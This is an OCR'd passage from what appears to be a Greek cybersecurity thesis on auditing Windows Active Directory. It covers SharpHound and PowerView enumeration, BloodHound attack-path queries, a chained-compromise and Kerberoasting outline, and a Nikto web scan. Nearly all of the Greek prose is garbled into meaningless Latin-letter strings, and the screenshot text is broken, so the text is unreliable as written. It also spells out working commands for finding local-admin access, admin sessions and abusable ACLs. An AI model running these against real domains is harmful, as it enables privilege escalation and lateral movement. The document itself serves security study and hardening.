Create oncRpc objects

Delete oncRpc objects

Create Organizational Unit objects

Delete Organizational Unit objects

e e

Cancel

Eikéva 15 Domain Administrators Access Control Entries
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Ta dIKAIWMPOTA XPNOTWVY TA OTTOIa EVOIAPEPOUV KAl TTPETTEI VA TA EAEYEOUE YIA

AavBaopéveg pUBNIOEIG KOl adUVAIES gival KUPIWG TA:

e GenericAll - TIAApn dIKalwuaTa OTO AVTIKEIMEVO (IKavOTNTA TTPO0OBAKNG
XPNOTWYV O€ YKPOUTT ) aAAayr KwdIkoU)

e GenericWrite - IkavoTnTa aAAayng Twv 181I0TATWYV £vOG avTIKEIYEVOU (TTX logon
script)

e WriteOwner - IkavoTnTa aAAAYRG IBIOKTATN QVTIKEIUEVOU

e WriteDACL - IkavéTtnta TpoTrotroinong Twv ACES e ammoTéAeoua o
EMTIOEPEVOG VA TTAPEI TOV TTAAPN EAEYXO TTAVW OTO AVTIKEINEVO

e AllExtendedRights - IkavoTnTa va TpooTebei évag XpnoTtng oc éva dAAo
group r va aAAd&el Evav KwdIKO ao@aAeiag.

e ForceChangePassword - IkavotnTta aAAayAg KwdIKoU ac@aAeiag evog
xpnon.

e Self (Self-Membership) - IkavoTnTa £VTAENG XPROTN O€ TTONITIKEG KAl group.

6.3.1 2uAhoyn Aedopévwyv EAeykTh Touéa

MNa va ouAAéCoupe OAa Ta DedoPEVA TOU EAEYKTH) TOUEA Ba XPNOIUOTTOINCOUUE 2

epyaAeia. To Sharphound kai To PowerView.

6.3.1.1 SharpHound

To Sharphound [20] atroTeAei To eTTiONPO £pyaAeio cUAAOYNG BedOUEVWY YIa TO
Bloodhound, gival ypaupévo oe C# kal xpnoigoTrolei ammAég ouvapTrioeig Windows
API ka1 LDAP namespace yia va cuAAégel Ta dedopéva. Autd TTou duvaral va

OUAAECEI gival Ta €ENG:

e Ta uéAn opadag ao@ahelag - Security group memberships
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Tig ox€oeIg euTnIoTOOUVNG EAEYKTA TOPED - Domain trusts

AlKaiwuaTta TTou PTTopEl va Tuxouv ekKeTAAAEuoNG - Abusable rights on Active
Directory objects

2Uvdeapol TTONITIKNG opddag- Group Policy links

Aopn dévtpou OU - OU tree structure

APKETEC 1ID10TNTEG ATTO TOV UTTOAOYIOTH, TNV OUAdA KAl T AVTIKEIUEVA XPAOTN
2uvdéaelg diaxelpiot) SQL

Toug TOTTIKOUG DIOXEIPIOTEG, TOUG XPAOTEG TTOU PITTOPOUV va ouvdeBoUV O€
QATTOMOKPUOUEVN ETTIQAVEIQ EPYATiag, XPNOoTeS Kartaveunuévwy COM kail Ta
MEAN TNG ouAdag ATTOPAKPUOHEVNG DIAXEIPIONG

Evepyég ouvedpieg, TIg otToieg TO SharpHound Ba TTpooTTaBr o€l va CUOXETIOEI

ME CUOTAPATA OTTOU OI XPNOTEG Eival OIadPACTIKA OUVOEDEUEVOI

To sharphound ptropei va cuAAégel dedopéva avaloya e TIG TTAPAUETPOUS TTOU Ba

€l0ayoupe Kata TNV ekTéAeor] Tou. O1 TTAOPAPETPOI AUTOI Eival Ol EENG:

Default - Mg Tnv TapaueTpo autr) cuAAéyovTal OAa Ta dedoEvVa TOU EAEYKTA
TOMEQ KOl OUYKEKPIPEVA: TA HEAN OPGdwWY, OI OXECEIG EPTTIOTOOUVNG, TOTTIKEG
ouadeg, ouvedpieg, ACLS , 1IB1I0TNTEG AVTIKEIMEVWYV Kal 0TOXO0l SPN

Group - ZUAAéyovtal Ta JEAN ouGdwv

LocalAdmin - ZuAA€yel dedopéva TOTTIKWY OIAXEIPIOTWV

RDP - ZUAAéyel XpAOTEG TTOU PITTOPOUV VA ouVOEBOUV ATTOUOKPUOHUEVO
DCOM - Distributed COM cuAAoyr xpnoTwv

PSRemote - ZUAAEyel XpriOTEG TTOU PTTOPOUV Va dlaxelpiCovTal
QATTOMOKPUOUEVA TO OUCTNUA.

GPOLocalGroup - Xpnoipotroiwvtag 1a Group Policy Objects cUuAAéyel
OTOIXEIO TOU TOTTIKOU DIOXEIPIOTN

Session - ZUAAEYEI TIC CUVEDPIES

ComputerOnly - ZuAAéyel oToixeia ToTTikou diaxelpioTr, RDP, DCOM kai
OUVEDPIWV.

LoggedOn - ZuA\éyel ouvedpieg ue aveBaocuéva dikalwpaTta (XpelageTal
dIKaiwuaTta dIaxEIPIOTH YIa CUCTNUA TTOU ATTOTEAEI OTOXO)

Trusts - ATTapIOuEi OXEOEIC EPTTIOTOOUVNG PECT OTOV EAEYKTH TOMEQ
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e ACL - ZuMAéyel 6ha Ta ACLs

e Container - ZuAAéyel 6Aa Ta Containers

e DcOnly - ZuhAéyel oToixeia xpnoiyoTrolwvTag pévo Tov LDAP. MepihapBavel
Ta Group, Ta Trusts, Ta ACLS, TIG IDIOTNTEG TWV AVTIKEIUEVWY, Ta Containers
kabwg kal Ta GPOLocalGroup.

e ObjectProps - ZUAAEyel IBIOTNTES QVTIKEIMEVWY OTTWG “TEAEUTAIO OUVOED
xpnotn” (LastLogon) A “reAeutaia aAAayr kwdikou TTpdéofaong” (PwdLastSet)

o All - Zuvduddel 0Aeg TIG peBOOdOUG OUAAOYNG £kTOG TNG GPOLocalGroup.

Av at1Té UTTOAOYIOTH TTOU €ival HEAOG TOU EAEYKTI) TOUEQ, EKTEAECOUME TNV EVTOAR
(Xwpig va opiocoupe TTepaITEpw TTAPAPETPOUG): ¢/ Sharphound.exe, 161E TO
TTPOYPAUMA auTO Ba GUAAECEI OAEC TIC TTANPOPOPIES YIa TOV TOUEA TOV OTTOI0 GAPWVEI
Kal TTI0 OUYKEKPIPEVA Ba EaxBei Eva TTETTIECUEVO ApPXEIO TO OTTOIO Ba TTEPIEXEI APKETA
JSON apxeia T OTTOI0 UTTOPOUME VA TA EICAYOUNE KATEUBEIAV OTO YPOPIKO
mepIBAAAov Tou Bloodhound kai va gekivijooupue TV avadAuon pag. To Bloodhound

OUOXETICEI auTOUATA TA APXEIQ AUTd.

MNa va éxoupe 6 OAOKANPWHEVN EIKOVA TOU DIAXEIPIOTA TOUEQ KOI TWV OXECEWY TOU,
TOTE PTTOPOUE Va ekTEAéoOUNE TO sharphound pe eTTavaAnyelg (loop) yia Xpoviko
OpPIO TTOU PTTOPOUUE VA OPICOUE, £TOI WWOTE TA ATTOTEAECPATA LOAG VA EMTTAOUTIOTOUV
KaBwg o1 XprioTeG avolyokKAEivouv auvedpieg e dIG@opa PEPN TOU TOPED ava TAKTA

Xpoviké diacThpara.

6.3.1.2 PowerView

ZUUTTANPWHAOTIKA OTAV TTPONYOUNEVN 0dpwaon 6a UTTOPOUCAUE VO
xpnoigotroiooupe 1o PowerView [21]. AuTo cival €va epyaAegio PowerShell pe 10
OTT0IO, ETTIONG, ATTOKTOUWE ETTIYVWON TNG KATAOTAONG TOU BIKTUOU O€ TOUEIG TWV
Windows. Mepiéxel Eva OET EVIOAWV O1 OTTOIEG AVTIKOBIOTOUV TIG YVWOTEG EVTOAEG "net
*” Twv Windows, kai 1Tou “ekueTaAAevovTal” Asitoupyieg Tou eAeykTA Topéa Windows

Kal Tou Win32 API yia TV JETAEU TOUG DIOAEITOUPYIKOTNTA.

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia
25



ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

O1 duvaTtdTNTEG TOU €ival TTOAAEG, OUWG BEV UTTAPXEI YPOPIKI ATTEIKOVION TWV
ATTOTEAEOUATWYV KAl Eival TTPOTIHOTEPO VA XPNOIUOTIOIEITAI VIO OTOXEUPEVEG

avadnTioelg eviog dIKTUOU.

XapaKTNPIOTIKEG AEITOUPYIEG TOU ATTOTEAOUV AUTEG TTOU:

e ATTApPIOPOUV EKTETAPEVA TOV EAEYKTH TOUEA

e ETMOTPEQPOUV TIG CUVEDPIEG OTIG OTTOIEG £VaG XPAOTNG Eival OUVOEDEUEVOGS

e ATTapIBUOUV TIC CUOKEUEG OTIG OTTOIEC £vVAG XPROTNG £XEI OIKAIWPATA TOTTIKOU
OlaXEIPIOTA

e EvroTTiCOoUuV TIG OIKTUOKEG OIOUOIPACEIG KAl TA OIANOIPACHEVA APXEIa.

e ATtapiBuouv Ta GPOs

e ATtapiBuouv Ta Domain Trusts

e EvroTriCouv Ta Resource-based constrained delegations (RBCD) 1ng
UTTNPECIag KaTaAGyou

e EvroTriCouv Ta SPNs (Service Principal Names) yia va xpnoigotroinbouv

TepaITépw o€ Kerberoasting (Zav xproTng utrnpeciag kataAdyou, aiTeital

¢kdoong TGS - ticket granding service. To Hash 1Tou TTapdyetal utropei va
atrokpuTtrToypa®nOei offline).

e Meratpétrouv Ta user/group names oe security identifiers (SID)

2UVETTWG, JE TN XPAON TOU QVWTEPW EPYAAEIOU ITTOPOUNE VA AVTAI|OOUNE
eVOIOQPEPOUOES TTANPOPOPIES TTOU Ba pag BonBrocouv va OXUPWOOUNE KAAUTEPA TOV

EAEYKTR TOUEA KAl VO ATTOQUYOUNE TTAEUPIKES KIVAOEIG JECQ OTO QIKTUO.

6.3.1.2.1 PowerView and Chained compromise

H aAucidwTtn TrapaBiaon (Chained compromise), n otroia Kai ammoTeAEi KAQOIKO
TTapAdelyua TTAEUPIKNG Kivnong JECO OTOV EAEYKTH TOUEQ, MTTOPEI va TTPORAEPOEi Kal
vVa aTToTPATIEl XpNOoIoTToIWVTaG To PowerView. 2uviBwg pia aAucidwTr Trapapiaon

QTTOTEAEITAI ATTO T TTAPAKATW BAPATA:
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e ApxIkd Traipvoupue TTpooBacn oto domain JECW TWV CUVONUATIKWY VOGS
atrAou xpnoTn.

e Augdvoupe Ta SIKAIWUATA PAG KAl YIVOUOOTE TOTTIKOG DIOXEIPIOTAG.

e YTTOKAETTTOUME TOV KWOIKG ) TO token Tou dIaXEIPIOTH VOGS DIOKOMIOTA (server
administrator).

o [1Aéov evepywvTag wg OIAXEIPIOTNG OIAKOMIOTA JTTOPOUNE VA ATTOKTIOOUNE TO
token Tou dIaXEIPIOTH) TOU EAEYKTH TOUEA MOAIG O TEAEUTAIOG KAVEI TTPOOTTABEI
€10600uU OTO oUCTNUA.

e ATTOKTWVTOG TO token Tou dIaXEIPIOTH TOUEA, O OTOXOG HOG £XEI ETTITEUXOEI.

To PowerView duvaral va pag dwaoel TTANPOPOPIES YE TIG OTTOIEG Ba PTTOPECOUNE VA
geKivijoou e Tov €AeyX0 Tou BIKTUOU JaG YIa AavBaouEVES puBUioEIS. Oa EEKIVIOOUUE
OUAAEYOVTOG TOUG AOYOPIOCOUG XPNOTWY, BIAXEIPIOTWYV (TOTTIKWYVY KAl Jn), Ta groups,
TOUG UTTOAOYIOTEG Kal YEVIKA Ba EEKIVIIOOUNE PE TO “Kuvhyl” Twv XpnoTwv. Katémiv 8a
aKOAOUBAOOUV, OI TTOMITIKEG TOU EAEYKTH) TOUEA, TUXOV DIOUOIPACEIG Kal

dlapoipacuéva apxeia, evolapEéPouceg CUVEDPIES KAl UTTNPETIEG.

MNa va ammapiBuooupe TNV UTTHPETia KATaAGyou Kal va WAaoupe yia AavBaouEveg
puBuiceIg aAAd Kal yia evOIOQEPOVTA EUPAMOATA UTTOPOUNE EVOEIKTIKG VO EKTEAECOUE

TA TTAPOKATW:

e Get-NetComputer | select samaccountname, samaccounttype,
operatingsystem, logoncount # EToTpé@el 6Aoug Toug BTTOAOYIOTEG TTOU
QVINKOUV OTNV UTTNPECIA KATAAOYOU Hadi JE TTANPOQPOPIEG OTTWG PpaivovTal
otnv Eikéva 16.

e Get-NetGroup -Domain “domain name”| select name # EmoTpé@el T
OVOUOTA TWV YKPOUTT TOU DIOXEIPIOTH) TOUEQ.

e Get-NetForestDomain | Get-NetDomainTrust # ATrapiOuei OAeg TIG OXETEIG
EUTTIOTOOUVNG MECQ OTOV TOMEQ.

e Get-DomainForeingUser # ETIOTPEPEI XPOTEG PE TTPOVOUIA O€ AAAOUG TOUEIG
pMéoa 01O id10 dAoOGC.

e Get-DomainForeignGroupMember # ETOTPEQPEI YKPOUTT XpNOTWV HE

TTpovouIa o€ AANOUG TouEiG u€oa OTO 10 ACOG.
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Find-LocalAdminAccess # EmoTpE@el OAOUG TOUG UTTOAOYIOTEG JEAN TOU
TOMEQ KAl «PWTAEI» TO KABEVA av €XEI DIKAIWUATA TOTTIKOU DIAXEIPIOTH.
Invoke-UserHunter —CheckAccess # EkTeAei Kuvryl xpnoTwy, Wpaxvovtag av
KATTOI0G XPrNOTNG ME OIKAIWPATA DIAXEIPIOTH £XEI AVOIXTO SESSion O& KATTOIoV
UTTOAOYIOTH], HENOG TOU TOED. ETTIONG eKTEAEI EAEYXO YIO DIKAIWPATA TOTTIKOU
OIOXEIPIOTH.

Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName,
ObjectDN, ActiveDirectoryRights | fl # Waxvel yia evOla@EpovTeG NiOTEG
eAéyxou TTpéoBaong - ACLs

Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount —
UserAllowDelegation # Wdayvel yia ouvOedeEVOUG DIXEIPIOTEG Ol OTTOIOI
ETMTPETTOUV AVABECEIS XPNOTWY, KAl 01 OTToiol €ival ouvoedeUEVOl O€

OIOKOMIOTEG TTOU ETTITPETTOUV AVOBETEIG XWPIG TTEPIOPICUOUG.

Get-NetComputer select sam: untname

-

= = P P

A
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iy
iy
iy
iy
iy
iy
iy
iy
iy
iy
A

Eikova 16 Amapi6uion Ymnpeoiag KaraAdyou ue to PowerView
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6.3.1.2.2 PowerView and Kerberos Delegations - Resource-based constrained delegation

2TNV UTTNPECIa KATAAOYOoU evOG EAEYKTH TOUEA, €XOuV dnuioupynBei oI avaBEéoeig
XpnoTwv (delegations), cUP@WVA WE TIG OTTOIEG £vAG XPrOTNG MTTOPEI va
TTpooTToINBEi KATToIoV GAAO Kal va dpdoel €k JEpoug Tou. AuTo €ival atrapaitnTo oTav
Mia utTnpeoia oTnv oTroia évag XpAoTng €XEl Ndn auBevTikoTroinBei, {nTHoel va dpdaoel
€K MEPOUG TOU YIa va KOAEOEI pia AAAN utTnpeaia. KAAOIKO TTapadelyua TETolag
TTEPITITWONG €ival OTav £vag XProTng aubevTIKOTTOINBEI € KATTOIOV €CUTTNEETNTH
I0TOU KOl JETA AUTOG O £EUTTNPETNTAG XPEIAZETal va OPACEl EK JEPOUG TOU XPAOTN
(impersonate) kal va auBevTikoTToINBei aBuTeEpa o€ KATTOIA AAAN UTTNPETia (back-

end service), 6TTwg pia Bdaon dedopévwy SQL.

ApXIKA gixaue avabEoEIC XwpPIG TTEPIOPIOHUOUG I JE KATTOIOUG TTEPIOPICHOUG, Ol OTTOIEG
gixav ouxva emeépel BEpuata ac@aieiag. ApyoTepa, (server 2012+) €10x0n n €vvola
NG avaBeong pe Bdon TiIg uttnpeoieg/TTopoug (Resource-based Constrained
Delegation), n otroia gival ca@wg 1o ac@aAéG aTrd TIG TTPonNyoUpEeveS. Na TV
uAoTToinon TNG, O€ £€va XapakTnPIoTIKO ac@dAciag (DACL) opileTal TTOI0G ETTITPETTETAI
va dpdoeEl €K HEPOG TTOIOU, KAl KATOTTIV auTO atroBnkeueTal 0To oTolxeio / H/Y 1TOU
QTTOTEAEI AVTIKEIPYEVO TNG UTINPETiag kataAdyou, oav duadikr) TTAnpogopia (binary)

msDS-AllowedToActOnBehalfOfOtherldentity . Av auTd TPOTTOTTOINBEI TOTE UTTOPEI Va

Tapapiactei o H/Y 1T0oU £X€I aTTOTEAETEI OTOXO.

Me 1O powerview PITTOPOUNE va EAEYEOUUE TNV UTTNPECIA KATAAOYOU yia TUXOV
AavBaopéveg pubpioeig Tou dIaxeIpPIoTA PE TIG OTTOIEC Ba UTTOPOUCE KATTOIOC va
TpoTrotToifjoel Ta Access Control Lists - ACLs kai va 1répel Tpéopacn. H ouvBeTn
EVTOAN oUP@WVa Pe TNV oTroia Ba TTapouue OAa Ta ACLs 6AwV Twv UTTOAOYICTWYV Kal

Ba evrottiooupe avaBéoelg TutTou RBCD eival n €€AG:

Get-DomainComputer | select -exp dnshostname | get-domainobjectacl;

"Search through acls for RBCD..."; foreach ($acl in $computeracls) { foreach($sid in
$computersid) { $acl | ?{$_.Securityldentifier -eq $sid -and($_.ActiveDirectoryRights
-Like *GenericAll*' -or $_.ActiveDirectoryRights -Like *GenericWrite*' -or
$_.ActiveDirectoryRights -Like *WriteOwner*')} } }
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Ta atroTeAéopATA TNG AVWTEPW EVTOANG aTTEIKOViCovTal oTNV Eikéva 17.

select

tyIdentifier e (%_.ActiveDir
ctiveDirectoryRights )

Eikéva 17 AmoreAéouara ouvBeTng evioAng yia eupeon avabeong tummou RBCD og H/Y-péAog diaxeipiorn Touéa.

6.3.2 I'pa@ikr) Atreikovion kai AvaAuon OeOOPEVWV ENEYKTH) TOPEQ HEOW
NG €papuoyng Bloodhound

21NV TTapdypa@o 6.3.1.1 cuAAECape Ta OEDOPEVA TOU EAEYKT TOPED HECW TNG
epapuoyng Sharphound. To Sharphound, oTTwg TTpoava@EPONKE, TTPOKEITAI VIO TO
eTTioNUO gpyaA&gio oUAAOYNG OEDOUEVWYV TTPOG XPHON O GUVOUAOUO HE TO
Bloodhound. To TeAeuTaio TTPOKEITAI VIO Hia EQAPPOYI UE TNV OTTOIA ATTEIKOVICOVTAI
yPa@IKA Ta dedopéva TTou £xouv CUAAEXDET Kal £TO1 atTAoucTeUueTal N dladikaoia
avAAuONG Kal ETTEEEPYATIOG TOUG. 2Z€ AQUTO NTTOPOUE VA ATTEUBUVOUNE EPWTHOEIS KOl
VQ ETTIOTPEPETAI ATTOTEAEC WA TTOU AVATTAPIOTATAI YPAPIKA, DIEUKOAUVOVTAG £TOI
OTITIKA, TN MEAETN MOG YIA TO TTEPACHA TTPOG TOV TEAIKO OTOXO. TO ATTOTEAECUA TTOU
Ba TTapoupe av eicdyoupue Ta dedouéva TTou cUAAECape oTo Bloodhound, Ba ival Tng

MOP®NG TTou gaiveTal oTnv Eikéva 18.
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BloodHound

x

~
57
Node Info X
users@[lLocAL &
®
Sessions 42
Reachable High Value Targets 0
(=
Object ID [—Jiocars1532545 i
Description Users are prevented from making accidental or
intentional system-wide changes. Thus, Users can
run certified applications, but not most legacy
applications
Admin False
Count
distinguishedname ~ CN=Users,CN=Builtin,0c{__]DC=local
domain [—Jioca
+
name usersgl______JiocaL
w

Raw Query

Eikéva 18 Ipaikn arreikovian amoTeAsoudrwy ouAdoyng dedouévwy ue to Sharphound

H cuAhoyr) dedopévwv PTTOPED va YivEl yia Jia XPOVIKA OTIYHN aAAG €1T€10N O€ évav
EANEYKTR TOUEA OI OUVEDPIEG AVOIYOKAEIVOUV ava TAKTA XPOVIKA dIA0THUATA, EXOUME TN
duvaTtoTNTA VO CUAAEYOUE TA OTOIXEIA aUTA pE eTTavaAAauBavopeveg avalntioelg. O
OeUTEPOG TPOTTOG Eival KAI O TTPOTEIVOPEVOG MIAG KAl ATTOKTOUWE MIa TTIO
OAOKANPWUEVN €IKOVA TOU EAEYKTHA TOUEQ.

A@ou, Aoittév, £xoupe GUANECEI Ta DEDOUEVA PAG KAl TA EXOUNE EICAYEI OTO
BloodHound, ptropoupe va B€ooupe didpopa epwThHPaTa oTn Bdon dedouévwy Kal
va TTédpoupe dIadPACTIKA TA ATTOTEAECUATA YE YPAPIKN avaTrapdoTaot) Tous. lNa
Tapddelyua av avalnTriOoUUE «TAO GUVTONOTEPA HOVOTTATIO TTOU Ba 0dnyroouv aTro
£€vav OTOXO TTOU £XOUUE KATAKTAOEI, OTOV DIAXEIPIOTH TOU OIKTUOU» TTAIPVOUNE TO
atrotéAeopa TnG Eikéva 19.
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BloodHound

=+

BT —
bt T
LOCAL }===%
ADMINS@

@

I3

Raw Query -

Eikova 19 Amreikovion amoreAéouarog epwrhuaro¢ "Find the shortest path to domain Admin*

AkoAouBwvTag TNV dI0OPOMN UE KOKKIVO XPWHA BAETTOUNE OTI ITTOPOUNE va
QPTACOUNE OTOV DIOXEIPIOTH) TOU EAEYKTH TOUEA ATTO £VA PAKEAO OEDOUEVWV O OTTOIOG
£XEl OIAPOIPAOTEN TTPOPAVWIG YIA VA CAPWVOUV 01 XPHOTES Ol JECW EVOG
QWTOTUTTIKOU UNXAVAMOTOG KAl VA QVOONKWVOUV Ta OPXEIQ TOUG HECA ATTO QUTOV.

MpokerTal yia yia atro TIG TTONITIKEG TOU EAEYKTA TOUEQ.

2.€ ETTOUEVO EpWTNUA OTn BAcn dedOPEVWY YIA VA EVTOTTIOEI TA TTIO OUVTONA
MOVOTTATIO 0€ OTOXOUG MEYAANG agiag Traipvoupe To atmoTéAEoa TNG Eikdva 20.

ZUPQWVA JE AUTO, O XPrOTNG TTOU £XElI ONPAVOEi ue KOKKIVO KUKAO gival EAOG Twv

OIaXEIPIOTWY TOU BIKTUOU Kal dpa atroTeAEi oTOX0 UWnARg agiag.
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BloodHound

o) -
= se A K T 4 F c
@ . _ . JPcAl
L
£3
®
lex
w
i
+
w

Raw Query

Eikéva 20 Zuvroudrepa ovoTTaTia o€ oToxouS Ueyaing aéiag

O1 evepyoi ouvodol ouxva atroTeAOUV AVTIKEINEVO £TTIBEONG. AUTOI UTTOPOUV Va
EVTOTTIOTOUV ava Xprotn. O dIaxeIpIoTAG TOU BIKTUOU OTN CUYKEKPIKEVN TTEPITITWON
EXEl 2 evEPYEG OUVODOUG HE 2 TEPUATIKA TTOU PUTTOpoUV va dexBouv etmibeon. MNépa
atro TIG EVEPYEC OUVODOUG UTTOPOUE VA AVTAOOUNE TTEPETAIPW TTANPOYOpPIa OTTWG
yla TTapddeiypa TToTE ATAV N TEAEUTAIO QOPd TTOU AAAGXONKE 0 KWOIKOG aoPaALiag

Tou uTTo avalntnon xenoTn (Eikéva 21)
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BloodHound

ADMINISTRATORS@

-

=

-«
Q

1
Node Info 3
&
ADMINISTRATOR@ LOCAL ®
LOCAL -
Sessions 2
ez
Sibling Objects in the Same OU 8
Reachable High Value Targets 9
Effective Inbound GPOs 1 i
See user within Domain/OU Tree %,
Object ID §-1-5-21-2717379536-148867180-
2775894972-500
Password Last Change
Password Last Thu, 02 Oct 2014 16:51:46 GMT
Changed /
Last Logon Thu, 02 Dec 2021 16:15:58 GMT ‘
Last Logon Wed, 01 Dec 2021 23:00:48 GMT
(Replicated) +
Enabled True
Description Built-in account for administering the
computer/domain Raw Query -

Eikova 21 lNAnpogopisc Xpriotn Ymnpeoia¢ KaraAdyou

AkoAoUBwG, BETOVTAG AVTIOTOIXO EPWTNHA YIa TO TTOU UTTAPXOUV EVEPYOI OUVODOI UE
Aoyaplaoud diaxelpioTr O€ TEPUATIKA TTOU OEV AVAKOUV OTOV EAEYKTN TOUEA
TTaipvoupue 10 ypdenua tng Eikéva 22.

BloodHound - x
= A K T 4]
e > Y
Node Info
L
o ISR .
o =
Sessions 1 \ =
Reachable High Value Targets 9 e
Sibling Objecis in the Same OU 1
w
Effective Inbound GPOs 17
i
See Computer within Domain/OU Tree
Object ID §-1-5-21-2717379536-148367180-
2775894972-16124 \
o0s Windows 10 Pro B
Enabled True
- LOCAL |
Allows Unconstrained False
Delegation
LAPS Enabled False
Password Last Changed Thu, 02 Dec 2021 15:29:44 GMT +
Last Logon (Replicated) Thu, 25 Nov 2021 16:28:28 GMT
_ _ Raw Query -

Eikéva 22 Evepyr) ouvodog xprotn ue dlaxeipiorn
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Mapatnpouue AoITTOV OTI O TTAPATTAVW XPNOTNG EXEI EVEPY OUVODO PE Aoyaplaouod

dlaxelpIoTA Kal d1a PEoW QUTAG UTTOPOoUUE va @TAcoUNE o€ 9 0TOXOUG HEYAANG agiag.

Me avaAoyo TPOTTO UTTOPOUNE va eKTEAECOUNE BId@opa epwThuaTa oTtn Bdon
TIPOCOPHUOCHEVA OTIG BIKEG HAG AVAYKEG. [Na TTapadelyua JTTopoupe va WAEOUE yia
TUXOV TTEPITITWOEIG OXETIKEG PE TNV KATAXPNON OIKAIWUATWY ACLS TTOU £X0UV UN

TTPOVOMIOUXOI XPAOTEG EVAVTI TWV UTTOAOYIOTWV.

To epwTtnua TTou Ptropei va uttoBANOBEi ival To:

MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-
[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|
CanRDP|ExecuteDCOM|ForceChangePassword*1..]->(m:Computer)) RETURN p

H ypa@iki avatmrapdoTaon TTou TTaipvVOUE gival TNG HOPPAG TTOU QaivETAl OTNV
Eikéva 23, Ta eupuatd pag, armroKaAUTITOUV TTOI0I XPHOTEG TNG UTTNPECIAG KATAAOYOU

XWPIc auénuéva dikaiwpaTa, uTropouv va Tpotrotroifjoouv Ta ACLS.

Mapopoiwg, pia evioAr TTou Ba pag evaIEQEPE OTNV avalnTNoN ETTIKIVOUVWYV
MovoTTaTiwy Ba ATav auTh TG avadnTnong atmAwyY XpnoTwV Ol OTT0Iol €XOUV

avepaouéva dikaliwuata Tavw o€ éva GPO:

MATCH p = (u: User) - [r: AllExtendedRights | GenericAll | GenericWrite | Owns |
WriteDacl | WriteOwner | GpLink * 1 ..] -> (g: GPO) RETURN p LIMIT 25
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L
“.LOCAL LOCAL 4
@

@ +LOCAL - = LOCAL

~mlOCA _
AEstendedRighis|GenericAll GenencWiiteOwns|WiiteDacl|WrileGwnerlAdmin TolCanRDP [ExecuteDCOM|ForceChangePassword*L

Eikéva 23 Xpnoreg 1n¢ umrnpeaiag karaAdyou xwpic auénuéva SIKalwuaTa TTou UTTopoUV va TPOTTOTTOINC0UV Ta
ACLs.

Ta epwTAuaTa oTn BACN UTTOPOUV VA TIPOCAPUOCTOUV OTIG AVAYKEG UAG WEXPI VO
AGBoupe 1o €MOUPNTO ATTOTEAECHA. ZUVABWG TA ETTIOETIKA YOVOTTATIA TTOU
avakKaAUTITOVTAI €ival TTAPa TTOAAG 0€ OYKO OTTOTE dia KAAr TTPOKTIKN €ival, avTi va
TTPOOTIAB0UNE VA ATTAAEIWPOUHE AUTA TA HOVOTTATIA, VA TTPOCTTAB0UNE Va
QTTOMOVWVOUE TOUG guaioBnToug otdxoug, kepdifovtag £1al OXI JOVO O€ XPOVO,

aAAG OTNV oudia PEIWVOUNE BPACTIKA TNV ETTIOETIKA ETTIPAVEIQA.

EidikéTepa, 600V apopd 0Toug KATeEoXV OTOXOUG, TOV BIaXEIPIOTA TOPED KOl TO
group Tou, Ba TTPETTEI VO UTTOAOYIOOUE TO EUPOC EKBETTG TOUG, HEAETWVTAG KAl

avaBewpPWVTAG TA EENAG:

e >uvOnuAaTIKA TToU £XOUV KPaTnBei aTn Yvhun
e Katdypnon ACEs

e Katdaxpnon GPOs

e Kerberoast

e AS-REP Roast
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6.4 EvTommopog aduvauiwy o€ EQAPUOYEG I0TOU

Q¢ yvwaoTo éva atrd Ta MO KPioINa OnUEia TNG UTTOOOMNG VOGS OIKTUOU OTTOTEAEI O
OIaKOMIOTAG 10TOU (webserver), 0 oTT0iog aTToTEAEI ONUEIO ETTAPAG KAl avTaAAaynG
OEDOUEVWV TOU ECWTEPIKOU BIKTUOU PE AOITTOUG KOUPBOUG, EVTOG ri/Kal EKTOG DIKTUOU.
M'autdv akpIfwg Tov Adyo €vag SIOKOPIOTAG IOTOU ATTOTEAET £vav aTTd TOUG TTPWTOUG

OTOXOUG KaTa TN dIAPKEIA YIag £TTIBEONG.

Karta tnv apxiki odpwaon Tou OIKTUOU PE TO Zzenmap, ATAv duvaTr n CUOXETION TWV
TEPMATIKWY HE TIG UTTNPECIES TIG OTTOIEC TTPOCPEPOUV. 'ETal, TAIVOUWVTAG Ta
atroTeAEoUATA aVAAOya UE TO TTPWTOKOAAO-UTTNPECIO OTO OTTOIO AKOUV UTTOPOUUE VA
EEXWPICOUUE TIG EQAPUOYEG I0TOU, VA TIG ATTOPOVWOOUNE Kal Va TIG EAEyEOUUE

TTEPETAIPW YIA TPWTOTNTEG.

‘Eva epyaAgio avoiXTou KWOIKA TTOU EKTEAEI AUTOU TOU €i00UG TOUG EAEYXOUG Eival TO
NIKTO [22]. Mg 10 NIKTO pTtropei va yivel cdpwon diakopioTwy 0TTwg Apache,
Nginx, Lighttpd, Litespeed kA1T. Ta ammoteAéopaTa TNG 0APWONG EKTOG ATTO TUXOV
TPWTOTNTEG, TTEPIEXOUV YEVIKEG TTANPOPOPIES YIA TO DIAKOMIOTH, TTANPOYOPIES YIa

TUXOV TTICTOTTOINTIKA KPUTTTOYPAPNONG aKOUA Kal TTBava KakOBouAa apxeia.
Mapdadeiypa:

Etmavepyouevol oTta ammoTeAéopaTa Tou nmap, JTTopoUuE va douue OTI éva aTrd Ta
oToixeia Tou diIkTUou pe dieuBuvon 10.0.0.29 akouel otnv opTa 3128. Av
oapwooupe Tov webserver pye 1o NIKTO Ba rdpoupe TNV Tapakdtw avagopd:

nikto.pl -h 10.0.0.29:3128

- Nikto v2.1.6

+ Target IP: 10.0.0.29
+ Target Hostname: 10.0.0.29
+ Target Port: 3128
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+ Start Time: 2022-02-08 10:47:57 (GMT-5)

+ Server: Apache/2.4.33 (Win32) OpenSSL/1.1.0i-dev

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Apache/2.4.33 appears to be outdated (current is at least Apache/2.4.37). Apache
2.2.34 is the EOL for the 2.x branch.

+ OpenSSL/1.1.0i-dev appears to be outdated (current is at least 1.1.1). OpenSSL
1.0.00 and 0.9.8zc are also current.

+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE

